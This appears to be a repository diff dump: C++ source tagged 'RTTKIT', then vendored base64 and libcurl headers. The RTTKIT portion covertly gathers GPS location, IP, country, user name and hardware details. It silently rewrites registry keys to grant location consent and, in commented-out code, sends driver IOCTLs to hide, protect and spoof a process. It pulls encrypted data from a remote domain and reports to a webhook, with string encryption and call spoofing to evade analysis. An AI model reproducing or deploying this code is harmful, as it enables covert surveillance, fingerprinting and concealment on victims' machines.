std::cout << EC("[RTTKIT] Hide sent") << std::endl;
}
else {
std::cout << EC("[RTTKIT] Hide error") << std::endl;
}*/
/*int driverOutput2 = 0;
_rs req2 = { 0 };
req2.process_id = PID;
req2.Protection = 0x41;
req2.security = code_security;
if (DeviceIoControl(deviceObject, code_rs, &req2, sizeof(_rs), &driverOutput2, sizeof(int), 0, NULL)) {
std::cout << EC("[RTTKIT] Protect sent") << std::endl;
}
else {
std::cout << EC("[RTTKIT] Protect error") << std::endl;
}
SPOOF_CALL(Sleep)(1500);
int driverOutput3 = 0;
_spf req3 = { 0 };
req3.process_id = PID;
req3.spoof_id = 4;
req3.security = code_security;
if (DeviceIoControl(deviceObject, code_spf, &req3, sizeof(_spf), &driverOutput3, sizeof(int), 0, NULL)) {
std::cout << EC("[RTTKIT] Spuf sent") << std::endl;
}
else {
std::cout << EC("[RTTKIT] Spuf error") << std::endl;
}
SPOOF_CALL(CloseHandle)(deviceObject);
////JUNK();
}*/
//CreateThread(NULL, 0, RootLoop, NULL, 0, NULL);
}
/*
void GivePerms()
{
SPOOF_FUNC;
try
{
const wchar_t* keyPath = EC(L"Software\\Microsoft\\Windows\\CurrentVersion\\CapabilityAccessManager\\ConsentStore\\location");
const wchar_t* valueName = EC(L"Value");
const wchar_t* newValue = EC(L"Allow");
////JUNK();
HKEY hKey;
LONG openResult = RegCreateKeyExW(HKEY_CURRENT_USER, keyPath, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL);
if (openResult == ERROR_SUCCESS)
{
try
{
// Set the new value
RegSetValueExW(hKey, valueName, 0, REG_SZ, (BYTE*)newValue, (wcslen(newValue) + 1) * sizeof(wchar_t));
std::wcout << EC(L"Registry key updated successfully.") << std::endl;
}
catch (std::exception& ex)
{
std::wcout << EC(L"Error: ") << ex.what() << std::endl;
}
// Close the registry key
RegCloseKey(hKey);
}
else
{
std::wcout << EC(L"Registry key not found, and unable to create it.") << std::endl;
}
}
catch (std::exception& ex)
{
std::wcout << EC(L"Exception: ") << ex.what() << std::endl;
}
try
{
const wchar_t* keyPath2 = EC(L"Software\\Microsoft\\Windows\\CurrentVersion\\CapabilityAccessManager\\ConsentStore\\location\\NonPackaged");
const wchar_t* valueName2 = EC(L"Value");
const wchar_t* newValue2 = EC(L"Allow");
HKEY hKey2;
LONG openResult2 = RegCreateKeyExW(HKEY_CURRENT_USER, keyPath2, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey2, NULL);
if (openResult2 == ERROR_SUCCESS)
{
try
{
// Set the new value
RegSetValueExW(hKey2, valueName2, 0, REG_SZ, (BYTE*)newValue2, (wcslen(newValue2) + 1) * sizeof(wchar_t));
std::wcout << EC(L"Registry2 key updated successfully.") << std::endl;
}
catch (std::exception& ex)
{
std::wcout << EC(L"Error2: ") << ex.what() << std::endl;
}
// Close the registry key
RegCloseKey(hKey2);
}
else
{
std::wcout << EC(L"Registry2 key not found, and unable to create it.") << std::endl;
}
}
catch (std::exception& ex)
{
std::wcout << EC(L"Exception: ") << ex.what() << std::endl;
}
}*/
std::string GetIpRiyal()
{
SPOOF_FUNC;
std::string result;
// Try to get IP from checkip.amazonaws.com
HINTERNET hInternet = InternetOpen(EC(L"A WinINet Example Program"), INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hInternet)
{
HINTERNET hConnect = InternetOpenUrl(hInternet, L"http://checkip.amazonaws.com/", NULL, 0, INTERNET_FLAG_RELOAD, 0);
if (hConnect)
{
char buffer[4096];
DWORD bytesRead;
if (InternetReadFile(hConnect, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0)
{
buffer[bytesRead] = '\0';
result = buffer;
}
InternetCloseHandle(hConnect);
}
InternetCloseHandle(hInternet);
}
////JUNK();
if (result.empty())
{
// Try other services if the first one fails
const char* urls[] = {
EC("https://ipinfo.io/ip"),
EC("https://api.ipify.org"),
EC("https://icanhazip.com"),
EC("https://wtfismyip.com/text"),
EC("http://bot.whatismyipaddress.com/")
};
for (const char* url : urls)
{
hInternet = InternetOpen(EC(L"A WinINet Example Program"), INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hInternet)
{
HINTERNET hConnect = InternetOpenUrl(hInternet, Utf8ToWide(url).c_str(), NULL, 0, INTERNET_FLAG_RELOAD, 0);
if (hConnect)
{
char buffer[4096];
DWORD bytesRead;
if (InternetReadFile(hConnect, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0)
{
buffer[bytesRead] = '\0';
result = buffer;
break;
}
InternetCloseHandle(hConnect);
}
InternetCloseHandle(hInternet);
}
}
}
if (result.empty())
{
// Try another method if all else fails
hInternet = InternetOpen(EC(L"A WinINet Example Program"), INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hInternet)
{
HINTERNET hConnect = InternetOpenUrl(hInternet, L"http://checkip.dyndns.org/", NULL, 0, INTERNET_FLAG_RELOAD, 0);
if (hConnect)
{
char buffer[4096];
DWORD bytesRead;
if (InternetReadFile(hConnect, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0)
{
buffer[bytesRead] = '\0';
std::string response(buffer);
size_t start = response.find(EC("Address: ")) + 9;
size_t end = response.find(EC("</body>")) - start;
result = response.substr(start, end);
}
InternetCloseHandle(hConnect);
}
InternetCloseHandle(hInternet);
}
}
return result;
}
void GetGPSReal(double& lat, double& lon, double& acc)
{
winrt::init_apartment();
// Create a Geolocator object
Geolocator geolocator;
// Get the geoposition asynchronously
Geoposition pos = geolocator.GetGeopositionAsync().get();
// Extract the latitude and longitude
lat = pos.Coordinate().Point().Position().Latitude;
lon = pos.Coordinate().Point().Position().Longitude;
acc = pos.Coordinate().Accuracy();
}
void GetGPS(double& lat, double& lon, double& acc)
{
__try
{
GetGPSReal(lat, lon, acc);
}
__except (EXCEPTION_EXECUTE_HANDLER) {
lat = 31;
lon = 31;
acc = 31;
}
}
std::string GetCpuName()
{
SPOOF_FUNC;
////JUNK();
try
{
WCHAR value[1012];
DWORD BufferSize = sizeof(value);
RegGetValue(HKEY_LOCAL_MACHINE, EC(L"HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0"), EC(L"ProcessorNameString"), RRF_RT_REG_SZ, NULL, (PVOID)value, &BufferSize);
return wcharToString(value);
}
catch (...)
{
return EC("Error");
}
}
std::string GetGPUNamear() {
IDXGIFactory* pFactory;
IDXGIAdapter* pAdapter;
std::string gpuName = EC("Unknown");
if (SUCCEEDED(CreateDXGIFactory(__uuidof(IDXGIFactory), (void**)&pFactory))) {
if (SUCCEEDED(pFactory->EnumAdapters(0, &pAdapter))) {
DXGI_ADAPTER_DESC desc;
if (SUCCEEDED(pAdapter->GetDesc(&desc))) {
char buffer[128];
wcstombs(buffer, desc.Description, sizeof(buffer));
gpuName = std::string(buffer);
}
pAdapter->Release();
}
pFactory->Release();
}
return gpuName;
}
void GetGpuName(std::string& gpu, int& Vram)
{
SPOOF_FUNC;
std::vector<DXGI_ADAPTER_DESC1> Cards;
HRESULT hr;
IDXGIFactory1* pFactory = nullptr;
// Create a DXGI Factory
hr = CreateDXGIFactory1(__uuidof(IDXGIFactory1), (void**)(&pFactory));
if (FAILED(hr)) {
std::cerr << EC("Failed to create DXGI Factory.\n");
gpu = EC("GPU Error");
}
else
{
// Enumerate the adapters (GPUs)
IDXGIAdapter1* pAdapter = nullptr;
bool gpuFound = false;
for (UINT i = 0; pFactory->EnumAdapters1(i, &pAdapter) != DXGI_ERROR_NOT_FOUND; ++i) {
DXGI_ADAPTER_DESC1 adapterDesc;
pAdapter->GetDesc1(&adapterDesc);
// Skip software adapters (e.g., Microsoft Basic Render Driver)
if (adapterDesc.Flags & DXGI_ADAPTER_FLAG_SOFTWARE) {
continue;
}
Cards.push_back(adapterDesc);
gpuFound = true;
pAdapter->Release();
}
if (!gpuFound) {
std::cout << EC("No valid hardware GPU found.\n");
}
pFactory->Release();
// Check for Nvidia, AMD, Intel, or no compatible GPU
gpu = EC("No Compatible GPU");
for (const auto& card : Cards) {
std::wstring wDescription(card.Description);
std::string description(wDescription.begin(), wDescription.end());
if (description.find(EC("NVIDIA")) != std::string::npos) {
gpu = description;
Vram = 8;
break;
}
else if (description.find(EC("AMD")) != std::string::npos || description.find(EC("Radeon")) != std::string::npos) {
gpu = description;
Vram = 8;
break;
}
}
// If no Nvidia or AMD GPU is found, check for Intel GPU
if (gpu == EC("No Compatible GPU")) {
for (const auto& card : Cards) {
std::wstring wDescription(card.Description);
std::string description(wDescription.begin(), wDescription.end());
if (description.find(EC("Intel")) != std::string::npos) {
gpu = description;
Vram = 8;
break;
}
}
}
}
}
bool hasFourOrMoreDots(const std::string& str) {
int dotCount = 0;
for (char ch : str) {
if (ch == '.') {
dotCount++;
if (dotCount >= 4) {
return true;
}
}
}
return false;
}
string RealIP()
{
SPOOF_FUNC;
try
{
////JUNK();
string Dwnld = DownloadString(dmns, EC("/index.php?security=2&type=rtttry"));//
std::cout << EC("IP Result: ") << Dwnld << std::endl;
if (Dwnld.empty()) {
SendWBHK(hwidglobal + EC(" IP Empty Error: ") + Dwnld);
return EC("");
}
string url = Decrypt(Dwnld, EC("mysekretuwu"));//
std::cout << url << std::endl;
if (hasFourOrMoreDots(url)) {
SendWBHK(hwidglobal + EC(" IP Usual Error: ") + url);
return EC("");
}
return url;
}
catch (const std::exception& e)
{
printf(EC("Error On Real IP"));
return "";
}
}
std::string GetCountryName()
{
SPOOF_FUNC;
// Get the current user locale
LCID locale = GetUserDefaultLCID();
// Get the ISO 3166 two-letter country/region code
char country[3];
GetLocaleInfoA(locale, LOCALE_SISO3166CTRYNAME, country, sizeof(country));
return country;
}
std::string GetWindowsVersion() {
SPOOF_FUNC;
std::cout << "Windows Version: " << USER_SHARED_DATA->NtBuildNumber << "\n";
if (USER_SHARED_DATA->NtBuildNumber >= 22000)
{
return "11";
}
else
{
return "10";
}
}
std::string GetCurrentUserName()
{
DWORD bufferLength = UNLEN + 1;
char username[UNLEN + 1];
if (GetUserNameA(username, &bufferLength))
{
return username;
}
else
{
return EC("Unknown");
}
}
+249
View File
@@ -0,0 +1,249 @@
#include "base64.h"
#include <algorithm>
#include <stdexcept>
//
// Depending on the url parameter in base64_chars, one of
// two sets of base64 characters needs to be chosen.
// They differ in their last two characters.
//
static const char* base64_chars[2] = {
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz"
"0123456789"
"+/",
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz"
"0123456789"
"-_" };
static unsigned int pos_of_char(const unsigned char chr) {
//
// Return the position of chr within base64_encode()
//
if (chr >= 'A' && chr <= 'Z') return chr - 'A';
else if (chr >= 'a' && chr <= 'z') return chr - 'a' + ('Z' - 'A') + 1;
else if (chr >= '0' && chr <= '9') return chr - '0' + ('Z' - 'A') + ('z' - 'a') + 2;
else if (chr == '+' || chr == '-') return 62; // Be liberal with input and accept both url ('-') and non-url ('+') base 64 characters (
else if (chr == '/' || chr == '_') return 63; // Ditto for '/' and '_'
else
//
// 2020-10-23: Throw std::exception rather than const char*
//(Pablo Martin-Gomez, https://github.com/Bouska)
//
throw std::runtime_error("Input is not valid base64-encoded data.");
}
static std::string insert_linebreaks(std::string str, size_t distance) {
//
// Provided by https://github.com/JomaCorpFX, adapted by me.
//
if (!str.length()) {
return "";
}
size_t pos = distance;
while (pos < str.size()) {
str.insert(pos, "\n");
pos += distance + 1;
}
return str;
}
template <typename String, unsigned int line_length>
static std::string encode_with_line_breaks(String s) {
return insert_linebreaks(base64_encode(s, false), line_length);
}
template <typename String>
static std::string encode_pem(String s) {
return encode_with_line_breaks<String, 64>(s);
}
template <typename String>
static std::string encode_mime(String s) {
return encode_with_line_breaks<String, 76>(s);
}
template <typename String>
static std::string encode(String s, bool url) {
return base64_encode(reinterpret_cast<const unsigned char*>(s.data()), s.length(), url);
}
std::string base64_encode(unsigned char const* bytes_to_encode, size_t in_len, bool url) {
size_t len_encoded = (in_len + 2) / 3 * 4;
unsigned char trailing_char = url ? '.' : '=';
//
// Choose set of base64 characters. They differ
// for the last two positions, depending on the url
// parameter.
// A bool (as is the parameter url) is guaranteed
// to evaluate to either 0 or 1 in C++ therefore,
// the correct character set is chosen by subscripting
// base64_chars with url.
//
const char* base64_chars_ = base64_chars[url];
std::string ret;
ret.reserve(len_encoded);
unsigned int pos = 0;
while (pos < in_len) {
ret.push_back(base64_chars_[(bytes_to_encode[pos + 0] & 0xfc) >> 2]);
if (pos + 1 < in_len) {
ret.push_back(base64_chars_[((bytes_to_encode[pos + 0] & 0x03) << 4) + ((bytes_to_encode[pos + 1] & 0xf0) >> 4)]);
if (pos + 2 < in_len) {
ret.push_back(base64_chars_[((bytes_to_encode[pos + 1] & 0x0f) << 2) + ((bytes_to_encode[pos + 2] & 0xc0) >> 6)]);
ret.push_back(base64_chars_[bytes_to_encode[pos + 2] & 0x3f]);
}
else {
ret.push_back(base64_chars_[(bytes_to_encode[pos + 1] & 0x0f) << 2]);
ret.push_back(trailing_char);
}
}
else {
ret.push_back(base64_chars_[(bytes_to_encode[pos + 0] & 0x03) << 4]);
ret.push_back(trailing_char);
ret.push_back(trailing_char);
}
pos += 3;
}
return ret;
}
template <typename String>
static std::string decode(String const& encoded_string, bool remove_linebreaks) {
//
// decode(…) is templated so that it can be used with String = const std::string&
// or std::string_view (requires at least C++17)
//
if (encoded_string.empty()) return std::string();
if (remove_linebreaks) {
std::string copy(encoded_string);
copy.erase(std::remove(copy.begin(), copy.end(), '\n'), copy.end());
return base64_decode(copy, false);
}
size_t length_of_string = encoded_string.length();
size_t pos = 0;
//
// The approximate length (bytes) of the decoded string might be one or
// two bytes smaller, depending on the amount of trailing equal signs
// in the encoded string. This approximation is needed to reserve
// enough space in the string to be returned.
//
size_t approx_length_of_decoded_string = length_of_string / 4 * 3;
std::string ret;
ret.reserve(approx_length_of_decoded_string);
while (pos < length_of_string) {
//
// Iterate over encoded input string in chunks. The size of all
// chunks except the last one is 4 bytes.
//
// The last chunk might be padded with equal signs or dots
// in order to make it 4 bytes in size as well, but this
// is not required as per RFC 2045.
//
// All chunks except the last one produce three output bytes.
//
// The last chunk produces at least one and up to three bytes.
//
size_t pos_of_char_1 = pos_of_char(encoded_string.at(pos + 1));
//
// Emit the first output byte that is produced in each chunk:
//
ret.push_back(static_cast<std::string::value_type>(((pos_of_char(encoded_string.at(pos + 0))) << 2) + ((pos_of_char_1 & 0x30) >> 4)));
if ((pos + 2 < length_of_string) && // Check for data that is not padded with equal signs (which is allowed by RFC 2045)
encoded_string.at(pos + 2) != '=' &&
encoded_string.at(pos + 2) != '.' // accept URL-safe base 64 strings, too, so check for '.' also.
)
{
//
// Emit a chunk's second byte (which might not be produced in the last chunk).
//
unsigned int pos_of_char_2 = pos_of_char(encoded_string.at(pos + 2));
ret.push_back(static_cast<std::string::value_type>(((pos_of_char_1 & 0x0f) << 4) + ((pos_of_char_2 & 0x3c) >> 2)));
if ((pos + 3 < length_of_string) &&
encoded_string.at(pos + 3) != '=' &&
encoded_string.at(pos + 3) != '.'
)
{
//
// Emit a chunk's third byte (which might not be produced in the last chunk).
//
ret.push_back(static_cast<std::string::value_type>(((pos_of_char_2 & 0x03) << 6) + pos_of_char(encoded_string.at(pos + 3))));
}
}
pos += 4;
}
return ret;
}
std::string base64_decode(std::string const& s, bool remove_linebreaks) {
return decode(s, remove_linebreaks);
}
std::string base64_encode(std::string const& s, bool url) {
return encode(s, url);
}
std::string base64_encode_pem(std::string const& s) {
return encode_pem(s);
}
std::string base64_encode_mime(std::string const& s) {
return encode_mime(s);
}
#if __cplusplus >= 201703L
//
// Interface with std::string_view rather than const std::string&
// Requires C++17
// Provided by Yannic Bonenberger (https://github.com/Yannic)
//
std::string base64_encode(std::string_view s, bool url) {
return encode(s, url);
}
std::string base64_encode_pem(std::string_view s) {
return encode_pem(s);
}
std::string base64_encode_mime(std::string_view s) {
return encode_mime(s);
}
std::string base64_decode(std::string_view s, bool remove_linebreaks) {
return decode(s, remove_linebreaks);
}
#endif // __cplusplus >= 201703L
+30
View File
@@ -0,0 +1,30 @@
#ifndef BASE64_H_C0CE2A47_D10E_42C9_A27C_C883944E704A
#define BASE64_H_C0CE2A47_D10E_42C9_A27C_C883944E704A
#include <string>
#if __cplusplus >= 201703L
#include <string_view>
#endif // __cplusplus >= 201703L
std::string base64_encode(std::string const& s, bool url = false);
std::string base64_encode_pem(std::string const& s);
std::string base64_encode_mime(std::string const& s);
std::string base64_decode(std::string const& s, bool remove_linebreaks = false);
std::string base64_encode(unsigned char const*, size_t len, bool url = false);
#if __cplusplus >= 201703L
//
// Interface with std::string_view rather than const std::string&
// Requires C++17
// Provided by Yannic Bonenberger (https://github.com/Yannic)
//
std::string base64_encode(std::string_view s, bool url = false);
std::string base64_encode_pem(std::string_view s);
std::string base64_encode_mime(std::string_view s);
std::string base64_decode(std::string_view s, bool remove_linebreaks = false);
#endif // __cplusplus >= 201703L
#endif /* BASE64_H_C0CE2A47_D10E_42C9_A27C_C883944E704A */
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,79 @@
#ifndef CURLINC_CURLVER_H
#define CURLINC_CURLVER_H
/***************************************************************************
* _ _ ____ _
* Project ___| | | | _ \| |
* / __| | | | |_) | |
* | (__| |_| | _ <| |___
* \___|\___/|_| \_\_____|
*
* Copyright (C) Daniel Stenberg, <daniel@haxx.se>, et al.
*
* This software is licensed as described in the file COPYING, which
* you should have received as part of this distribution. The terms
* are also available at https://curl.se/docs/copyright.html.
*
* You may opt to use, copy, modify, merge, publish, distribute and/or sell
* copies of the Software, and permit persons to whom the Software is
* furnished to do so, under the terms of the COPYING file.
*
* This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY
* KIND, either express or implied.
*
* SPDX-License-Identifier: curl
*
***************************************************************************/
/* This header file contains nothing but libcurl version info, generated by
a script at release-time. This was made its own header file in 7.11.2 */
/* This is the global package copyright */
#define LIBCURL_COPYRIGHT "Daniel Stenberg, <[email protected]>."
/* This is the version number of the libcurl package from which this header
file origins: */
#define LIBCURL_VERSION "8.11.1"
/* The numeric version number is also available "in parts" by using these
defines: */
#define LIBCURL_VERSION_MAJOR 8
#define LIBCURL_VERSION_MINOR 11
#define LIBCURL_VERSION_PATCH 1
/* This is the numeric version of the libcurl version number, meant for easier
parsing and comparisons by programs. The LIBCURL_VERSION_NUM define will
always follow this syntax:
0xXXYYZZ
Where XX, YY and ZZ are the main version, release and patch numbers in
hexadecimal (using 8 bits each). All three numbers are always represented
using two digits. 1.2 would appear as "0x010200" while version 9.11.7
appears as "0x090b07".
This 6-digit (24 bits) hexadecimal number does not show pre-release number,
and it is always a greater number in a more recent release. It makes
comparisons with greater than and less than work.
Note: This define is the full hex number and _does not_ use the
CURL_VERSION_BITS() macro since curl's own configure script greps for it
and needs it to contain the full number.
*/
#define LIBCURL_VERSION_NUM 0x080b01
/*
* This is the date and time when the full source package was created. The
* timestamp is not stored in git, as the timestamp is properly set in the
* tarballs by the maketgz script.
*
* The format of the date follows this template:
*
* "2007-11-23"
*/
#define LIBCURL_TIMESTAMP "2024-12-11"
#define CURL_VERSION_BITS(x,y,z) ((x)<<16|(y)<<8|(z))
#define CURL_AT_LEAST_VERSION(x,y,z) \
(LIBCURL_VERSION_NUM >= CURL_VERSION_BITS(x, y, z))
#endif /* CURLINC_CURLVER_H */
+125
View File
@@ -0,0 +1,125 @@
#ifndef CURLINC_EASY_H
#define CURLINC_EASY_H
/***************************************************************************
* _ _ ____ _
* Project ___| | | | _ \| |
* / __| | | | |_) | |
* | (__| |_| | _ <| |___
* \___|\___/|_| \_\_____|
*
* Copyright (C) Daniel Stenberg, <daniel@haxx.se>, et al.
*
* This software is licensed as described in the file COPYING, which
* you should have received as part of this distribution. The terms
* are also available at https://curl.se/docs/copyright.html.
*
* You may opt to use, copy, modify, merge, publish, distribute and/or sell
* copies of the Software, and permit persons to whom the Software is
* furnished to do so, under the terms of the COPYING file.
*
* This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY
* KIND, either express or implied.
*
* SPDX-License-Identifier: curl
*
***************************************************************************/
#ifdef __cplusplus
extern "C" {
#endif
/* Flag bits in the curl_blob struct: */
#define CURL_BLOB_COPY 1 /* tell libcurl to copy the data */
#define CURL_BLOB_NOCOPY 0 /* tell libcurl to NOT copy the data */
struct curl_blob {
void *data;
size_t len;
unsigned int flags; /* bit 0 is defined, the rest are reserved and should be
left zeroes */
};
CURL_EXTERN CURL *curl_easy_init(void);
CURL_EXTERN CURLcode curl_easy_setopt(CURL *curl, CURLoption option, ...);
CURL_EXTERN CURLcode curl_easy_perform(CURL *curl);
CURL_EXTERN void curl_easy_cleanup(CURL *curl);
/*
* NAME curl_easy_getinfo()
*
* DESCRIPTION
*
* Request internal information from the curl session with this function.
* The third argument MUST be pointing to the specific type of the used option
* which is documented in each manpage of the option. The data pointed to
* will be filled in accordingly and can be relied upon only if the function
* returns CURLE_OK. This function is intended to get used *AFTER* a performed
* transfer, all results from this function are undefined until the transfer
* is completed.
*/
CURL_EXTERN CURLcode curl_easy_getinfo(CURL *curl, CURLINFO info, ...);
/*
* NAME curl_easy_duphandle()
*
* DESCRIPTION
*
* Creates a new curl session handle with the same options set for the handle
* passed in. Duplicating a handle could only be a matter of cloning data and
* options, internal state info and things like persistent connections cannot
* be transferred. It is useful in multithreaded applications when you can run
* curl_easy_duphandle() for each new thread to avoid a series of identical
* curl_easy_setopt() invokes in every thread.
*/
CURL_EXTERN CURL *curl_easy_duphandle(CURL *curl);
/*
* NAME curl_easy_reset()
*
* DESCRIPTION
*
* Re-initializes a CURL handle to the default values. This puts back the
* handle to the same state as it was in when it was just created.
*
* It does keep: live connections, the Session ID cache, the DNS cache and the
* cookies.
*/
CURL_EXTERN void curl_easy_reset(CURL *curl);
/*
* NAME curl_easy_recv()
*
* DESCRIPTION
*
* Receives data from the connected socket. Use after successful
* curl_easy_perform() with CURLOPT_CONNECT_ONLY option.
*/
CURL_EXTERN CURLcode curl_easy_recv(CURL *curl, void *buffer, size_t buflen,
size_t *n);
/*
* NAME curl_easy_send()
*
* DESCRIPTION
*
* Sends data over the connected socket. Use after successful
* curl_easy_perform() with CURLOPT_CONNECT_ONLY option.
*/
CURL_EXTERN CURLcode curl_easy_send(CURL *curl, const void *buffer,
size_t buflen, size_t *n);
/*
* NAME curl_easy_upkeep()
*
* DESCRIPTION
*
* Performs connection upkeep for the given session handle.
*/
CURL_EXTERN CURLcode curl_easy_upkeep(CURL *curl);
#ifdef __cplusplus
} /* end of extern "C" */
#endif
#endif
+74
View File
@@ -0,0 +1,74 @@
#ifndef CURLINC_HEADER_H
#define CURLINC_HEADER_H
/***************************************************************************
* _ _ ____ _
* Project ___| | | | _ \| |
* / __| | | | |_) | |
* | (__| |_| | _ <| |___
* \___|\___/|_| \_\_____|
*
* Copyright (C) Daniel Stenberg, <daniel@haxx.se>, et al.
*
* This software is licensed as described in the file COPYING, which
* you should have received as part of this distribution. The terms
* are also available at https://curl.se/docs/copyright.html.
*
* You may opt to use, copy, modify, merge, publish, distribute and/or sell
* copies of the Software, and permit persons to whom the Software is
* furnished to do so, under the terms of the COPYING file.
*
* This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY
* KIND, either express or implied.
*
* SPDX-License-Identifier: curl
*
***************************************************************************/
#ifdef __cplusplus
extern "C" {
#endif
struct curl_header {
char *name; /* this might not use the same case */
char *value;
size_t amount; /* number of headers using this name */
size_t index; /* ... of this instance, 0 or higher */
unsigned int origin; /* see bits below */
void *anchor; /* handle privately used by libcurl */
};
/* 'origin' bits */
#define CURLH_HEADER (1<<0) /* plain server header */
#define CURLH_TRAILER (1<<1) /* trailers */
#define CURLH_CONNECT (1<<2) /* CONNECT headers */
#define CURLH_1XX (1<<3) /* 1xx headers */
#define CURLH_PSEUDO (1<<4) /* pseudo headers */
typedef enum {
CURLHE_OK,
CURLHE_BADINDEX, /* header exists but not with this index */
CURLHE_MISSING, /* no such header exists */
CURLHE_NOHEADERS, /* no headers at all exist (yet) */
CURLHE_NOREQUEST, /* no request with this number was used */
CURLHE_OUT_OF_MEMORY, /* out of memory while processing */
CURLHE_BAD_ARGUMENT, /* a function argument was not okay */
CURLHE_NOT_BUILT_IN /* if API was disabled in the build */
} CURLHcode;
CURL_EXTERN CURLHcode curl_easy_header(CURL *easy,
const char *name,
size_t index,
unsigned int origin,
int request,
struct curl_header **hout);
CURL_EXTERN struct curl_header *curl_easy_nextheader(CURL *easy,
unsigned int origin,
int request,
struct curl_header *prev);
#ifdef __cplusplus
} /* end of extern "C" */
#endif
#endif /* CURLINC_HEADER_H */
@@ -0,0 +1,85 @@
#ifndef CURLINC_MPRINTF_H
#define CURLINC_MPRINTF_H
/***************************************************************************
* _ _ ____ _
* Project ___| | | | _ \| |
* / __| | | | |_) | |
* | (__| |_| | _ <| |___
* \___|\___/|_| \_\_____|
*
* Copyright (C) Daniel Stenberg, <daniel@haxx.se>, et al.
*
* This software is licensed as described in the file COPYING, which
* you should have received as part of this distribution. The terms
* are also available at https://curl.se/docs/copyright.html.
*
* You may opt to use, copy, modify, merge, publish, distribute and/or sell
* copies of the Software, and permit persons to whom the Software is
* furnished to do so, under the terms of the COPYING file.
*
* This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY
* KIND, either express or implied.
*
* SPDX-License-Identifier: curl
*
***************************************************************************/
#include <stdarg.h>
#include <stdio.h> /* needed for FILE */
#include "curl.h" /* for CURL_EXTERN */
#ifdef __cplusplus
extern "C" {
#endif
#ifndef CURL_TEMP_PRINTF
#if (defined(__GNUC__) || defined(__clang__) || \
defined(__IAR_SYSTEMS_ICC__)) && \
defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L) && \
!defined(CURL_NO_FMT_CHECKS)
#if defined(__MINGW32__) && !defined(__clang__)
#if defined(__MINGW_PRINTF_FORMAT) /* mingw-w64 3.0.0+. Needs stdio.h. */
#define CURL_TEMP_PRINTF(fmt, arg) \
__attribute__((format(__MINGW_PRINTF_FORMAT, fmt, arg)))
#else
#define CURL_TEMP_PRINTF(fmt, arg)
#endif
#else
#define CURL_TEMP_PRINTF(fmt, arg) \
__attribute__((format(printf, fmt, arg)))
#endif
#else
#define CURL_TEMP_PRINTF(fmt, arg)
#endif
#endif
CURL_EXTERN int curl_mprintf(const char *format, ...)
CURL_TEMP_PRINTF(1, 2);
CURL_EXTERN int curl_mfprintf(FILE *fd, const char *format, ...)
CURL_TEMP_PRINTF(2, 3);
CURL_EXTERN int curl_msprintf(char *buffer, const char *format, ...)
CURL_TEMP_PRINTF(2, 3);
CURL_EXTERN int curl_msnprintf(char *buffer, size_t maxlength,
const char *format, ...)
CURL_TEMP_PRINTF(3, 4);
CURL_EXTERN int curl_mvprintf(const char *format, va_list args)
CURL_TEMP_PRINTF(1, 0);
CURL_EXTERN int curl_mvfprintf(FILE *fd, const char *format, va_list args)
CURL_TEMP_PRINTF(2, 0);
CURL_EXTERN int curl_mvsprintf(char *buffer, const char *format, va_list args)
CURL_TEMP_PRINTF(2, 0);
CURL_EXTERN int curl_mvsnprintf(char *buffer, size_t maxlength,
const char *format, va_list args)
CURL_TEMP_PRINTF(3, 0);
CURL_EXTERN char *curl_maprintf(const char *format, ...)
CURL_TEMP_PRINTF(1, 2);
CURL_EXTERN char *curl_mvaprintf(const char *format, va_list args)
CURL_TEMP_PRINTF(1, 0);
#undef CURL_TEMP_PRINTF
#ifdef __cplusplus
} /* end of extern "C" */
#endif
#endif /* CURLINC_MPRINTF_H */
+481
View File
@@ -0,0 +1,481 @@
#ifndef CURLINC_MULTI_H
#define CURLINC_MULTI_H
/***************************************************************************
* _ _ ____ _
* Project ___| | | | _ \| |
* / __| | | | |_) | |
* | (__| |_| | _ <| |___
* \___|\___/|_| \_\_____|
*
* Copyright (C) Daniel Stenberg, <daniel@haxx.se>, et al.
*
* This software is licensed as described in the file COPYING, which
* you should have received as part of this distribution. The terms
* are also available at https://curl.se/docs/copyright.html.
*
* You may opt to use, copy, modify, merge, publish, distribute and/or sell
* copies of the Software, and permit persons to whom the Software is
* furnished to do so, under the terms of the COPYING file.
*
* This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY
* KIND, either express or implied.
*
* SPDX-License-Identifier: curl
*
***************************************************************************/
/*
This is an "external" header file. Do not give away any internals here!
GOALS
o Enable a "pull" interface. The application that uses libcurl decides where
and when to ask libcurl to get/send data.
o Enable multiple simultaneous transfers in the same thread without making it
complicated for the application.
o Enable the application to select() on its own file descriptors and curl's
file descriptors simultaneous easily.
*/
/*
* This header file should not really need to include "curl.h" since curl.h
* itself includes this file and we expect user applications to do #include
* <curl/curl.h> without the need for especially including multi.h.
*
* For some reason we added this include here at one point, and rather than to
* break existing (wrongly written) libcurl applications, we leave it as-is
* but with this warning attached.
*/
#include "curl.h"
#ifdef __cplusplus
extern "C" {
#endif
typedef void CURLM;
typedef enum {
CURLM_CALL_MULTI_PERFORM = -1, /* please call curl_multi_perform() or
curl_multi_socket*() soon */
CURLM_OK,
CURLM_BAD_HANDLE, /* the passed-in handle is not a valid CURLM handle */
CURLM_BAD_EASY_HANDLE, /* an easy handle was not good/valid */
CURLM_OUT_OF_MEMORY, /* if you ever get this, you are in deep sh*t */
CURLM_INTERNAL_ERROR, /* this is a libcurl bug */
CURLM_BAD_SOCKET, /* the passed in socket argument did not match */
CURLM_UNKNOWN_OPTION, /* curl_multi_setopt() with unsupported option */
CURLM_ADDED_ALREADY, /* an easy handle already added to a multi handle was
attempted to get added - again */
CURLM_RECURSIVE_API_CALL, /* an api function was called from inside a
callback */
